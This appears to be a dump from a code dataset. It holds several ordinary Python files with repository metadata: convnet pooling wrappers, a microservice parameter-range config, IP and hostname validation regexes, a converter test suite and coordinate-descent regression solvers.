targets.size targetsCu.contents.size[0] = numImgColors * outputsX**2 targetsCu.contents.size[1] = numImages assert targetsTotSize == prod(targetsCu.contents.size) numFilters = numImgColors _ConvNet.MaxPool(imagesCu, targetsCu, numFilters, subsX, startX, strideX, outputsX ) for i in range(2): targetsCu.contents.size[i]=targetsCu_orig[i] imagesCu.contents.size[i]=imagesCu_orig[i] return targets def MaxPoolUndo(images, grad, maxes, subsX, startX, strideX, ): numChannels, imSizeX_, imSizeX, numImages = images.shape assert imSizeX_ == imSizeX numChannels = numChannels numChannels, outputsX_, outputsX, numImages = maxes.shape assert outputsX_ == outputsX assert maxes.shape == grad.shape targets = g.zeros(images.shape) assert numChannels % 16 == 0 imagesCu = images._base.p_mat maxesCu = maxes._base.p_mat gradCu = grad._base.p_mat targetsCu = targets._base.p_mat from pylab import prod imagesCu_orig = tuple(imagesCu.contents.size) imagesTotSize = images.size imagesCu.contents.size[0] = numChannels * imSizeX**2 imagesCu.contents.size[1] = numImages assert imagesTotSize == prod(imagesCu.contents.size) from pylab import prod targetsCu_orig = tuple(targetsCu.contents.size) targetsTotSize = targets.size targetsCu.contents.size[0] = numChannels * imSizeX**2 targetsCu.contents.size[1] = numImages assert targetsTotSize == prod(targetsCu.contents.size) maxesCu_orig = tuple(maxesCu.contents.size) maxesTotSize = maxes.size maxesCu.contents.size[0] = numChannels * outputsX**2 maxesCu.contents.size[1] = numImages assert maxesTotSize == prod(maxesCu.contents.size) gradCu_orig = tuple(gradCu.contents.size) gradTotSize = grad.size gradCu.contents.size[0] = numChannels * outputsX**2 gradCu.contents.size[1] = numImages assert gradTotSize == prod(gradCu.contents.size) _ConvNet.MaxPoolUndo(imagesCu, gradCu, maxesCu, targetsCu, subsX, startX, strideX, outputsX ) for i in range(2): targetsCu.contents.size[i]=targetsCu_orig[i] imagesCu.contents.size[i]=imagesCu_orig[i] gradCu.contents.size[i]=gradCu_orig[i] maxesCu.contents.size[i]=maxesCu_orig[i] return targets ## dosen't work for some reason. Investigate the reason. def AvgPool(images, subsX, startX, strideX, outputsX ): numChannels, imSizeX, imSizeX, numImages = images.shape numImgColors = numChannels targets = g.zeros((numChannels, outputsX, outputsX, numImages)) imagesCu = images._base.p_mat targetsCu = targets._base.p_mat from pylab import prod imagesCu_orig = tuple(imagesCu.contents.size) imagesTotSize = images.size imagesCu.contents.size[0] = numImgColors * imSizeX**2 imagesCu.contents.size[1] = numImages assert imagesTotSize == prod(imagesCu.contents.size) targetsCu_orig = tuple(targetsCu.contents.size) targetsTotSize = targets.size targetsCu.contents.size[0] = numImgColors * outputsX**2 targetsCu.contents.size[1] = numImages assert targetsTotSize == prod(targetsCu.contents.size) numFilters = numImgColors _ConvNet.AvgPool(imagesCu, targetsCu, numFilters, subsX, startX, strideX, outputsX, subsX**2, ) for i in range(2): targetsCu.contents.size[i]=targetsCu_orig[i] imagesCu.contents.size[i]=imagesCu_orig[i] return targets ################################################################ def localUp(images, filters): numChannels, imSizeX, imSizeX, numImages = images.shape ## this is a hell of a filter-matrix. numModulesX, numModulesX, numFilterChannels, filterSizeX, filterSizeX, numFilters = filters.shape assert numModulesX <= imSizeX #numModulesX = (abs(paddingStart) + imSizeX - filterSizeX + 1) paddingStart = -(numModulesX - imSizeX + filterSizeX - 1) assert paddingStart <= 0 numModules = numModulesX**2 numGroups = 1 moduleStride = 1 targets = g.zeros((numFilters, numModulesX, numModulesX, numImages)) numImgColors = numChannels imagesCu = images._base.p_mat filtersCu = filters._base.p_mat targetsCu = targets._base.p_mat imagesCu_orig, filtersCu_orig, targetsCu_orig = \ [tuple(x.contents.size) for x in (imagesCu, filtersCu, targetsCu)] from numpy import prod filtersTotSize = filters.size filtersCu.contents.size[0] = numFilterChannels * filterSizeX**2 * numModulesX**2 filtersCu.contents.size[1] = numFilters assert filtersTotSize == prod(filtersCu.contents.size) imagesTotSize = images.size imagesCu.contents.size[0] = numImgColors * imSizeX**2 imagesCu.contents.size[1] = numImages assert imagesTotSize == prod(imagesCu.contents.size) targetsTotSize = targets.size targetsCu.contents.size[0] = numFilters * numModulesX**2 targetsCu.contents.size[1] = numImages assert targetsTotSize == prod(targetsCu.contents.size) _ConvNet.localUp(imagesCu, filtersCu, targetsCu, numModulesX, paddingStart, moduleStride, numImgColors, numGroups, ) for i in range(2): filtersCu.contents.size[i] = filtersCu_orig[i] imagesCu.contents.size[i] = imagesCu_orig[i] targetsCu.contents.size[i] = targetsCu_orig[i] return targets def localDown(hidActs, filters, paddingStart = 0): numGroups = 1 moduleStride = 1 assert paddingStart <= 0 numFilters, numModulesX, numModulesX, numImages = hidActs.shape numModulesX_, numModulesX_, numFilterChannels, filterSizeX, filterSizeX, numFilters = filters.shape ##### I DONT SUPPORT THE FUCKING STRIDE. SHIT. assert numModulesX_ == numModulesX #numModulesX = (abs(paddingStart) + imSizeX - filterSizeX + 1) imSizeX = numModulesX - abs(paddingStart) + filterSizeX - 1 numChannels = numFilterChannels * numGroups #paddingStart = -(numModulesX - imSizeX + filterSizeX + 1) numModules = numModulesX**2 targets = g.zeros((numChannels, imSizeX, imSizeX, numImages)) numImgColors = numChannels hidActsCu = hidActs._base.p_mat filtersCu = filters._base.p_mat targetsCu = targets._base.p_mat # * hidActs: (numFilters, numModules, numImages) # * filters: (numFilterColors, filterPixels, numFilters) if conv # * (numModules, numFilterColors, filterPixels, numFilters) otherwise # * targets: (numImageColors, imgPixels, numImages) hidActsCu_orig, filtersCu_orig, targetsCu_orig = \ [tuple(x.contents.size) for x in (hidActsCu, filtersCu, targetsCu)] # filters are as before from numpy import prod filtersTotSize = filters.size filtersCu.contents.size[0] = numFilterChannels * filterSizeX**2 * numModulesX**2 filtersCu.contents.size[1] = numFilters assert filtersTotSize == prod(filtersCu.contents.size) # hidActs are like the targets of the past: hidActsTotSize = hidActs.size hidActsCu.contents.size[0] = numFilters * numModulesX**2 hidActsCu.contents.size[1] = numImages assert hidActsTotSize == prod(hidActsCu.contents.size) # targets are like images: targetsTotSize = targets.size targetsCu.contents.size[0] = numImgColors * imSizeX**2 targetsCu.contents.size[1] = numImages assert targetsTotSize == prod(targetsCu.contents.size) _ConvNet.localDown( hidActsCu, filtersCu, targetsCu, imSizeX, paddingStart, moduleStride, numImgColors, numGroups) for i in range(2): filtersCu.contents.size[i] = filtersCu_orig[i] hidActsCu.contents.size[i] = hidActsCu_orig[i] targetsCu.contents.size[i] = targetsCu_orig[i] return targets def localOutp(images, hidActs, paddingStart = 0): numGroups = 1 moduleStride = 1 numFilters, numModulesX, numModulesX, numImages = hidActs.shape numChannels, imSizeX, imSizeX, numImages = images.shape numFilterChannels = numChannels / numGroups #imSizeX = numModulesX - abs(paddingStart) + filterSizeX - 1 assert paddingStart <= 0 filterSizeX = imSizeX - numModulesX + abs(paddingStart) + 1 #assert partialSum is None #partialSum = numModulesX**2 targets = g.zeros((numModulesX, numModulesX, numFilterChannels, filterSizeX, filterSizeX, numFilters)) numImgColors = numChannels hidActsCu = hidActs._base.p_mat imagesCu = images._base.p_mat targetsCu = targets._base.p_mat imagesCu = images._base.p_mat imagesCu_orig, hidActsCu_orig, targetsCu_orig = \ [tuple(x.contents.size) for x in (imagesCu, hidActsCu, targetsCu)] from pylab import prod imagesTotSize = images.size imagesCu.contents.size[0] = numImgColors * imSizeX**2 imagesCu.contents.size[1] = numImages assert imagesTotSize == prod(imagesCu.contents.size) hidActsTotSize = hidActs.size hidActsCu.contents.size[0] = numFilters * numModulesX**2 hidActsCu.contents.size[1] = numImages assert hidActsTotSize == prod(hidActsCu.contents.size) from numpy import prod targetsTotSize = targets.size targetsCu.contents.size[0] = numFilterChannels * filterSizeX**2 * numModulesX**2 targetsCu.contents.size[1] = numFilters assert targetsTotSize == prod(targetsCu.contents.size) _ConvNet.localOutp( imagesCu, hidActsCu, targetsCu, numModulesX, filterSizeX, paddingStart, moduleStride, numImgColors, numGroups, ) for i in range(2): imagesCu.contents.size[i] = imagesCu_orig[i] hidActsCu.contents.size[i] = hidActsCu_orig[i] targetsCu.contents.size[i] = targetsCu_orig[i] return targets

26.037627

106

0.649455

1,783

17,992

6.482894

0.06562

0.122502

0.070854

0.038066

0.889956

0.8467

0.819362

0.788477

0.773164

0.757072

0

0.010485

0.257892

17,992

690

107

26.075362

0.855228

0.085205

0

0.810474

0

0.000673

0

0.099751

1

0.022444

false

0

0.034913

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0.079801

0

null

0

1

0

1

0

null

0

7

6770dd029fd9e53303edccac09acc3940f1dd028

4,991

py

Python

consts.py

Sapio-S/microservices-demo

f4ee95bfa1617ad1b77527fe4f87f26e73b6f374

[ "Apache-2.0" ]

null

consts.py

Sapio-S/microservices-demo

f4ee95bfa1617ad1b77527fe4f87f26e73b6f374

[ "Apache-2.0" ]

null

consts.py

Sapio-S/microservices-demo

f4ee95bfa1617ad1b77527fe4f87f26e73b6f374

[ "Apache-2.0" ]

null

const_dic = { "adservice":{ "MAX_ADS_TO_SERVE":{ "MAX":5, "MIN":1, }, "CPU_LIMIT":{ # 300, request 200 "MAX":500, "MIN":250, }, "MEMORY_LIMIT":{ # 300, request 180 "MAX":500, "MIN":250, }, "IPV4_RMEM":{ "MAX":6291456, "MIN":4096, }, "IPV4_WMEM":{ "MAX":4194304, "MIN":4096, } }, "cartservice":{ "CPU_LIMIT":{ # 300, request 200 "MAX":500, "MIN":250, }, "MEMORY_LIMIT":{ # 128, request 64 "MAX":250, "MIN":100, }, "IPV4_RMEM":{ "MAX":6291456, "MIN":4096, }, "IPV4_WMEM":{ "MAX":4194304, "MIN":4096, }, # note: 以下为redis的配置，由于redis在cartservice中初始化，因此将参数移动到了这里 "hash_max_ziplist_entries":{ "MAX":4096, "MIN":32, }, "maxmemory_samples":{ "MAX":10, "MIN":1, }, "maxmemory":{ "MAX":16, "MIN":0, }, }, "checkoutservice":{ "CPU_LIMIT":{ # 200, request 100 "MAX":400, "MIN":150, }, "MEMORY_LIMIT":{ # 128, request 64 "MAX":250, "MIN":100, }, "IPV4_RMEM":{ "MAX":6291456, "MIN":4096, }, "IPV4_WMEM":{ "MAX":4194304, "MIN":4096, } }, "currencyservice":{ "CPU_LIMIT":{ # 200, request 100 "MAX":400, "MIN":150, }, "MEMORY_LIMIT":{ # 128, request 64 "MAX":250, "MIN":100, }, "IPV4_RMEM":{ "MAX":6291456, "MIN":4096, }, "IPV4_WMEM":{ "MAX":4194304, "MIN":4096, } }, "emailservice":{ "CPU_LIMIT":{ # 200, request 100 "MAX":400, "MIN":150, }, "MEMORY_LIMIT":{ # 128, request 64 "MAX":250, "MIN":100, }, "MAX_WORKERS":{ "MAX":20, "MIN":5, }, "IPV4_RMEM":{ "MAX":6291456, "MIN":4096, }, "IPV4_WMEM":{ "MAX":4194304, "MIN":4096, } }, "frontend":{ "CPU_LIMIT":{ # 200, request 100 "MAX":400, "MIN":150, }, "MEMORY_LIMIT":{ # 128, request 64 "MAX":250, "MIN":100, }, "IPV4_RMEM":{ "MAX":6291456, "MIN":4096, }, "IPV4_WMEM":{ "MAX":4194304, "MIN":4096, } }, "paymentservice":{ "CPU_LIMIT":{ # 200, request 100 "MAX":400, "MIN":150, }, "MEMORY_LIMIT":{ # 128, request 64 "MAX":250, "MIN":100, }, "IPV4_RMEM":{ "MAX":6291456, "MIN":4096, }, "IPV4_WMEM":{ "MAX":4194304, "MIN":4096, } }, "productcatalogservice":{ "CPU_LIMIT":{ # 200, request 100 "MAX":400, "MIN":150, }, "MEMORY_LIMIT":{ # 128, request 64 "MAX":250, "MIN":100, }, "IPV4_RMEM":{ "MAX":6291456, "MIN":4096, }, "IPV4_WMEM":{ "MAX":4194304, "MIN":4096, } }, "recommendationservice":{ "CPU_LIMIT":{ # 200, request 100 "MAX":400, "MIN":150, }, "MEMORY_LIMIT":{ # 450, request 220 "MAX":800, "MIN":300, }, "MAX_WORKERS":{ "MAX":20, "MIN":5, }, "MAX_RESPONSE":{ "MAX":4, "MIN":1, }, "IPV4_RMEM":{ "MAX":6291456, "MIN":4096, }, "IPV4_WMEM":{ "MAX":4194304, "MIN":4096, } }, "redis":{ "CPU_LIMIT":{ # 125, request 70 "MAX":350, "MIN":120, }, "MEMORY_LIMIT":{ # 256, request 200 "MAX":450, "MIN":250, }, "IPV4_RMEM":{ "MAX":6291456, "MIN":4096, }, "IPV4_WMEM":{ "MAX":4194304, "MIN":4096, }, }, "shippingservice":{ "CPU_LIMIT":{ # 200, request 100 "MAX":400, "MIN":150, }, "MEMORY_LIMIT":{ # 128, request 64 "MAX":250, "MIN":100, }, "IPV4_RMEM":{ "MAX":6291456, "MIN":4096, }, "IPV4_WMEM":{ "MAX":4194304, "MIN":4096, } }, }

21.79476

63

0.343017

392

4,991

4.227041

0.165816

0.092939

0.073024

0.119493

0.743512

0.720579

0

0.213496

0.492286

4,991

229

64

21.79476

0.44041

0.083751

0

0.596491

0

0.215604

0.014505

0

1

0

false

0

null

0

1

0

1

0

1

0

null

0

7

678657f655c002e69901adb4505b4fc849223d61

276

py

Python

elro/validation.py

Skons/elro_connects

9c980a61ce251ac79e7468fd0e916bf26dd73d9e

[ "MIT" ]

16

2019-10-12T12:50:36.000Z

2022-01-24T17:39:36.000Z

elro/validation.py

depuits/elro_connects

eb2cf1df67ef0ade811e278b52520449e0941d23

[ "MIT" ]

23

2021-03-01T16:40:39.000Z

2022-03-25T12:54:21.000Z

elro/validation.py

depuits/elro_connects

eb2cf1df67ef0ade811e278b52520449e0941d23

[ "MIT" ]

7

2020-12-27T20:18:20.000Z

2022-01-21T15:39:18.000Z

ip_address = "(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}" \ "([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])" hostname = "(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\\-]*[a-zA-Z0-9])\\.)*" \ "([A-Za-z0-9]|[A-Za-z0-9][A-Za-z0-9\\-]*[A-Za-z0-9])"

55.2

73

0.380435

72

276

1.444444

0.194444

0.153846

0.384615

0.461538

0.826923

0

0.227273

0.123188

276

4

74

69

0.202479

0

1

0.768116

0

1

0

false

0

1

null

0

1

0

1

0

1

0

1

0

1

null

0

15

679c3ca5e5328a20da5549955e6d7427a5fc9c8d

107

py

Python

discounts/utils.py

Zadigo/mycommerce

145031ebb359389e680a820577a4b6b2d382646d

[ "MIT" ]

null

discounts/utils.py

Zadigo/mycommerce

145031ebb359389e680a820577a4b6b2d382646d

[ "MIT" ]

null

discounts/utils.py

Zadigo/mycommerce

145031ebb359389e680a820577a4b6b2d382646d

[ "MIT" ]

null

from django.utils.crypto import get_random_string def create_reference(): return get_random_string(4)

21.4

49

0.813084

16

107

5.125

0.8125

0.219512

0.365854

0

0.010638

0.121495

107

4

50

26.75

0.861702

0

1

0.333333

true

0

0.333333

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

8

67f75fdc0162ab6f52dbbaf4f2cf99085a644136

12,163

py

Python

test/test_converter.py

mzinin/s2e2.python

1d7776be32a34c37174bbb4257ff99f4c340b7ac

[ "MIT" ]

null

test/test_converter.py

mzinin/s2e2.python

1d7776be32a34c37174bbb4257ff99f4c340b7ac

[ "MIT" ]

null

test/test_converter.py

mzinin/s2e2.python

1d7776be32a34c37174bbb4257ff99f4c340b7ac

[ "MIT" ]

null

from s2e2.converter import Converter from s2e2.error import ExpressionError from s2e2.token_type import TokenType from s2e2.token import Token import pytest class TestConverter: def setup_method(self): self.converter = Converter() def teardown_method(self): self.converter = None def test_positive_one_binary_operator_result_value(self): self.converter.add_operator('+', 1) input_tokens = [Token(TokenType.ATOM, 'A'), Token(TokenType.OPERATOR, '+'), Token(TokenType.ATOM, 'B')] actual_tokens = self.converter.convert(input_tokens) expected_tokens = [Token(TokenType.ATOM, 'A'), Token(TokenType.ATOM, 'B'), Token(TokenType.OPERATOR, '+')] assert actual_tokens == expected_tokens def test_positive_two_binary_operators_same_priority_result_value(self): self.converter.add_operator('+', 1) self.converter.add_operator('-', 1) input_tokens = [Token(TokenType.ATOM, 'A'), Token(TokenType.OPERATOR, '+'), Token(TokenType.ATOM, 'B'), Token(TokenType.OPERATOR, '-'), Token(TokenType.ATOM, 'C')] actual_tokens = self.converter.convert(input_tokens) expected_tokens = [Token(TokenType.ATOM, 'A'), Token(TokenType.ATOM, 'B'), Token(TokenType.OPERATOR, '+'), Token(TokenType.ATOM, 'C'), Token(TokenType.OPERATOR, '-')] assert actual_tokens == expected_tokens def test_positive_two_binary_operators_different_priority_result_value(self): self.converter.add_operator('+', 1) self.converter.add_operator('*', 2) input_tokens = [Token(TokenType.ATOM, 'A'), Token(TokenType.OPERATOR, '+'), Token(TokenType.ATOM, 'B'), Token(TokenType.OPERATOR, '*'), Token(TokenType.ATOM, 'C')] actual_tokens = self.converter.convert(input_tokens) expected_tokens = [Token(TokenType.ATOM, 'A'), Token(TokenType.ATOM, 'B'), Token(TokenType.ATOM, 'C'), Token(TokenType.OPERATOR, '*'), Token(TokenType.OPERATOR, '+')] assert actual_tokens == expected_tokens def test_positive_unary_operator_and_binary_operator_result_value(self): self.converter.add_operator('!=', 1) self.converter.add_operator('!', 2) input_tokens = [Token(TokenType.OPERATOR, '!'), Token(TokenType.ATOM, 'A'), Token(TokenType.OPERATOR, '!='), Token(TokenType.ATOM, 'B')] actual_tokens = self.converter.convert(input_tokens) expected_tokens = [Token(TokenType.ATOM, 'A'), Token(TokenType.OPERATOR, '!'), Token(TokenType.ATOM, 'B'), Token(TokenType.OPERATOR, '!=')] assert actual_tokens == expected_tokens def test_positive_one_function_without_arguments_result_value(self): input_tokens = [Token(TokenType.FUNCTION, 'FUN'), Token(TokenType.LEFT_BRACKET, '('), Token(TokenType.RIGHT_BRACKET, ')')] actual_tokens = self.converter.convert(input_tokens) expected_tokens = [Token(TokenType.FUNCTION, 'FUN')] assert actual_tokens == expected_tokens def test_positive_one_function_one_argument_result_value(self): input_tokens = [Token(TokenType.FUNCTION, 'FUN'), Token(TokenType.LEFT_BRACKET, '('), Token(TokenType.ATOM, 'Arg'), Token(TokenType.RIGHT_BRACKET, ')')] actual_tokens = self.converter.convert(input_tokens) expected_tokens = [Token(TokenType.ATOM, 'Arg'), Token(TokenType.FUNCTION, 'FUN')] assert actual_tokens == expected_tokens def test_positive_one_function_three_arguments_result_value(self): input_tokens = [Token(TokenType.FUNCTION, 'FUN'), Token(TokenType.LEFT_BRACKET, '('), Token(TokenType.ATOM, 'Arg1'), Token(TokenType.ATOM, 'Arg2'), Token(TokenType.ATOM, 'Arg3'), Token(TokenType.RIGHT_BRACKET, ')')] actual_tokens = self.converter.convert(input_tokens) expected_tokens = [Token(TokenType.ATOM, 'Arg1'), Token(TokenType.ATOM, 'Arg2'), Token(TokenType.ATOM, 'Arg3'), Token(TokenType.FUNCTION, 'FUN')] assert actual_tokens == expected_tokens def test_positive_function_and_exernal_operator_result_value(self): self.converter.add_operator('+', 1) input_tokens = [Token(TokenType.FUNCTION, 'FUN'), Token(TokenType.LEFT_BRACKET, '('), Token(TokenType.ATOM, 'Arg1'), Token(TokenType.RIGHT_BRACKET, ')'), Token(TokenType.OPERATOR, '+'), Token(TokenType.FUNCTION, 'FUN'), Token(TokenType.LEFT_BRACKET, '('), Token(TokenType.ATOM, 'Arg2'), Token(TokenType.RIGHT_BRACKET, ')')] actual_tokens = self.converter.convert(input_tokens) expected_tokens = [Token(TokenType.ATOM, 'Arg1'), Token(TokenType.FUNCTION, 'FUN'), Token(TokenType.ATOM, 'Arg2'), Token(TokenType.FUNCTION, 'FUN'), Token(TokenType.OPERATOR, '+')] assert actual_tokens == expected_tokens def test_positive_function_and_internal_operator_result_value(self): self.converter.add_operator('+', 1) input_tokens = [Token(TokenType.FUNCTION, 'FUN'), Token(TokenType.LEFT_BRACKET, '('), Token(TokenType.ATOM, 'Arg1'), Token(TokenType.OPERATOR, '+'), Token(TokenType.ATOM, 'Arg2'), Token(TokenType.COMMA, ','), Token(TokenType.ATOM, 'Arg3'), Token(TokenType.OPERATOR, '+'), Token(TokenType.ATOM, 'Arg4'), Token(TokenType.RIGHT_BRACKET, ')')] actual_tokens = self.converter.convert(input_tokens) expected_tokens = [Token(TokenType.ATOM, 'Arg1'), Token(TokenType.ATOM, 'Arg2'), Token(TokenType.OPERATOR, '+'), Token(TokenType.ATOM, 'Arg3'), Token(TokenType.ATOM, 'Arg4'), Token(TokenType.OPERATOR, '+'), Token(TokenType.FUNCTION, 'FUN')] assert actual_tokens == expected_tokens def test_positive_nested_functions_result_value(self): self.converter.add_operator('+', 1) input_tokens = [Token(TokenType.FUNCTION, 'FUN1'), Token(TokenType.LEFT_BRACKET, '('), Token(TokenType.FUNCTION, 'FUN2'), Token(TokenType.LEFT_BRACKET, '('), Token(TokenType.RIGHT_BRACKET, ')'), Token(TokenType.COMMA, ','), Token(TokenType.FUNCTION, 'FUN3'), Token(TokenType.LEFT_BRACKET, '('), Token(TokenType.ATOM, 'Arg1'), Token(TokenType.COMMA, ','), Token(TokenType.ATOM, 'Arg2'), Token(TokenType.RIGHT_BRACKET, ')'), Token(TokenType.RIGHT_BRACKET, ')')] actual_tokens = self.converter.convert(input_tokens) expected_tokens = [Token(TokenType.FUNCTION, 'FUN2'), Token(TokenType.ATOM, 'Arg1'), Token(TokenType.ATOM, 'Arg2'), Token(TokenType.FUNCTION, 'FUN3'), Token(TokenType.FUNCTION, 'FUN1')] assert actual_tokens == expected_tokens def test_positive_operators_without_arguments_result_value(self): self.converter.add_operator('+', 1) input_tokens = [Token(TokenType.OPERATOR, '+'), Token(TokenType.OPERATOR, '+'), Token(TokenType.OPERATOR, '+')] actual_tokens = self.converter.convert(input_tokens) expected_tokens = [Token(TokenType.OPERATOR, '+'), Token(TokenType.OPERATOR, '+'), Token(TokenType.OPERATOR, '+')] assert actual_tokens == expected_tokens def test_positive_function_without_commas_result_value(self): input_tokens = [Token(TokenType.FUNCTION, 'FUN'), Token(TokenType.LEFT_BRACKET, '('), Token(TokenType.ATOM, 'Arg1'), Token(TokenType.ATOM, 'Arg2'), Token(TokenType.RIGHT_BRACKET, ')')] actual_tokens = self.converter.convert(input_tokens) expected_tokens = [Token(TokenType.ATOM, 'Arg1'), Token(TokenType.ATOM, 'Arg2'), Token(TokenType.FUNCTION, 'FUN')] assert actual_tokens == expected_tokens def test_positive_function_of_operators_result_value(self): self.converter.add_operator('+', 1) input_tokens = [Token(TokenType.FUNCTION, 'FUN'), Token(TokenType.LEFT_BRACKET, '('), Token(TokenType.OPERATOR, '+'), Token(TokenType.OPERATOR, '+'), Token(TokenType.RIGHT_BRACKET, ')')] actual_tokens = self.converter.convert(input_tokens) expected_tokens = [Token(TokenType.OPERATOR, '+'), Token(TokenType.OPERATOR, '+'), Token(TokenType.FUNCTION, 'FUN')] assert actual_tokens == expected_tokens def test_negative_unpaired_left_bracket(self): input_tokens = [Token(TokenType.FUNCTION, 'FUN'), Token(TokenType.LEFT_BRACKET, '('), Token(TokenType.ATOM, 'Arg1')] with pytest.raises(ExpressionError) as ex: self.converter.convert(input_tokens) assert 'Unpaired bracket' in str(ex.value) def test_negative_unpaired_right_bracket(self): input_tokens = [Token(TokenType.FUNCTION, 'FUN'), Token(TokenType.ATOM, 'Arg1'), Token(TokenType.RIGHT_BRACKET, ')')] with pytest.raises(ExpressionError) as ex: self.converter.convert(input_tokens) assert 'Unpaired bracket' in str(ex.value) def test_negative_empty_operator(self): with pytest.raises(TypeError) as ex: self.converter.add_operator(None, 1) assert 'Attempt to add None' in str(ex.value) def test_negative_two_operators_with_the_same_name(self): self.converter.add_operator('+', 1) with pytest.raises(ExpressionError) as ex: self.converter.add_operator('+', 1) assert 'is alredy added' in str(ex.value) def test_negative_unknown_operator(self): self.converter.add_operator('+', 1) input_tokens = [Token(TokenType.ATOM, 'Arg1'), Token(TokenType.OPERATOR, '+'), Token(TokenType.ATOM, 'Arg2'), Token(TokenType.OPERATOR, '*'), Token(TokenType.ATOM, 'Arg3')] with pytest.raises(ExpressionError) as ex: self.converter.convert(input_tokens) assert 'Unknown operator' in str(ex.value)

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e1d66eb0bf8baca1ea92608df51284f61e3d0004

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py

Python

plasticnet/solvers/in_place/in_place.py

donovanr/plastic_net

28801059133e3f73359c5787ad235eac6c7e77ee

[ "MIT" ]

1

2018-07-29T00:09:48.000Z

plasticnet/solvers/in_place/in_place.py

donovanr/plasticnet

28801059133e3f73359c5787ad235eac6c7e77ee

[ "MIT" ]

28

2018-07-11T21:35:05.000Z

2018-07-26T18:10:45.000Z

plasticnet/solvers/in_place/in_place.py

donovanr/plastic_net

28801059133e3f73359c5787ad235eac6c7e77ee

[ "MIT" ]

2

2018-10-16T17:21:25.000Z

2019-12-23T06:45:55.000Z

import numpy as np from numba import jit from ...utils import math @jit(nopython=True, nogil=True, cache=False) # pragma: no cover def ordinary_least_squares_(beta, r, X, tol=1e-8, max_iter=1000): r""" ordinary_least_squares_(beta, r, X, tol=1e-8, max_iter=1000) Ordinary least squares regression. This function finds the :math:`\vec{\beta}` that minimizes .. math:: \tfrac{1}{2N}||\vec{y}-X\vec{\beta}||_2^2 Args: beta (numpy.ndarray): shape (D,) coefficient vector. modified in-place. r (numpy.ndarray): shape (N,) residual, i.e :math:`\vec{r} = \vec{y} - X\vec{\beta}`. modified in-place. X (numpy.ndarray): shape (N,D) data matrix. tol (float): convergence criterion for coordinate descent. coordinate descent runs until the maximum element-wise change in **beta** is less than **tol**. max_iter (int): maximum number of update passes through all P elements of **beta**, in case **tol** is never met. Note **beta** and **r** are modified in-place. As inputs, if :math:`\vec{\beta} = 0`, then it *must* be the case that :math:`\vec{r} = \vec{y}`, or the function will not converge to the correct answer. In general, the inputs **beta** and **r** must be coordinated such that :math:`\vec{r} = \vec{y} - X\vec{\beta}`. """ N, D = X.shape rho = np.ones(D, dtype=np.float64) + tol iter_num = 0 converged = False while not converged and iter_num < max_iter: iter_num += 1 for j in range(D): rho[j] = np.dot(X[:, j], r) / N r -= rho[j] * X[:, j] beta[j] += rho[j] converged = np.max(np.abs(rho)) < tol return (converged, iter_num) @jit(nopython=True, nogil=True, cache=True) # pragma: no cover def ridge_(beta, r, X, lambda_total=1.0, tol=1e-8, max_iter=1000): r""" ridge_(beta, r, X, lambda_total=1.0, tol=1e-8, max_iter=1000) Ridge regression. This function finds the :math:`\vec{\beta}` that minimizes .. math:: \tfrac{1}{2N} ||\vec{y}-X\vec{\beta}||_2^2 + \lambda \tfrac{1}{2} ||\vec{\beta}||_2^2 Args: beta (numpy.ndarray): shape (D,) coefficient vector. modified in-place. r (numpy.ndarray): shape (N,) residual, i.e :math:`\vec{r} = \vec{y} - X\vec{\beta}`. modified in-place. X (numpy.ndarray): shape (N,D) data matrix. lambda_total (float): must be non-negative. total regularization penalty strength. tol (float): convergence criterion for coordinate descent. coordinate descent runs until the maximum element-wise change in **beta** is less than **tol**. max_iter (int): maximum number of update passes through all P elements of **beta**, in case **tol** is never met. Returns: converged (tuple): tuple ``(converged, iter_num)`` containing convergence information. ``converged`` (bool) is whether or not the algorithm converged in the alloted number of iterations) and ``iter_num`` (int) is how many iterations the algorithm ran for. Note **beta** and **r** are modified in-place. As inputs, if :math:`\vec{\beta} = 0`, then it *must* be the case that :math:`\vec{r} = \vec{y}`, or the function will not converge to the correct answer. In general, the inputs **beta** and **r** must be coordinated such that :math:`\vec{r} = \vec{y} - X\vec{\beta}`. """ N, D = X.shape beta_old = beta.copy() delta_beta = np.ones(D, dtype=np.float64) + tol rho = np.ones(D, dtype=np.float64) + tol iter_num = 0 converged = False while not converged and iter_num < max_iter: iter_num += 1 for j in range(D): rho[j] = np.dot(X[:, j], r) / N beta[j] = (beta_old[j] + rho[j]) / (1 + lambda_total) delta_beta[j] = beta[j] - beta_old[j] r -= X[:, j] * delta_beta[j] beta_old[j] = beta[j] converged = np.max(np.abs(delta_beta)) < tol return (converged, iter_num) @jit(nopython=True, nogil=True, cache=True) # pragma: no cover def lasso_(beta, r, X, lambda_total=1.0, tol=1e-8, max_iter=1000): r""" lasso_(beta, r, X, lambda_total=1.0, tol=1e-8, max_iter=1000) Lasso regression. This function finds the :math:`\vec{\beta}` that minimizes .. math:: \tfrac{1}{2N} ||\vec{y}-X\vec{\beta}||_2^2 + \lambda ||\vec{\beta}||_1 Args: beta (numpy.ndarray): shape (D,) coefficient vector. modified in-place. r (numpy.ndarray): shape (N,) residual, i.e :math:`\vec{r} = \vec{y} - X\vec{\beta}`. modified in-place. X (numpy.ndarray): shape (N,D) data matrix. lambda_total (float): must be non-negative. total regularization penalty strength. tol (float): convergence criterion for coordinate descent. coordinate descent runs until the maximum element-wise change in **beta** is less than **tol**. max_iter (int): maximum number of update passes through all P elements of **beta**, in case **tol** is never met. Note **beta** and **r** are modified in-place. As inputs, if :math:`\vec{\beta} = 0`, then it *must* be the case that :math:`\vec{r} = \vec{y}`, or the function will not converge to the correct answer. In general, the inputs **beta** and **r** must be coordinated such that :math:`\vec{r} = \vec{y} - X\vec{\beta}`. """ N, D = X.shape beta_old = beta.copy() delta_beta = np.ones(D, dtype=np.float64) + tol rho = np.ones(D, dtype=np.float64) + tol iter_num = 0 converged = False while not converged and iter_num < max_iter: iter_num += 1 for j in range(D): rho[j] = np.dot(X[:, j], r) / N beta[j] = math.soft_thresh(lambda_total, beta_old[j] + rho[j]) delta_beta[j] = beta[j] - beta_old[j] r -= X[:, j] * delta_beta[j] beta_old[j] = beta[j] converged = np.max(np.abs(delta_beta)) < tol return (converged, iter_num) @jit(nopython=True, nogil=True, cache=True) # pragma: no cover def elastic_net_(beta, r, X, lambda_total=1.0, alpha=0.75, tol=1e-8, max_iter=1000): r""" elastic_net_(beta, r, X, lambda_total=1.0, alpha=0.75, tol=1e-8, max_iter=1000) 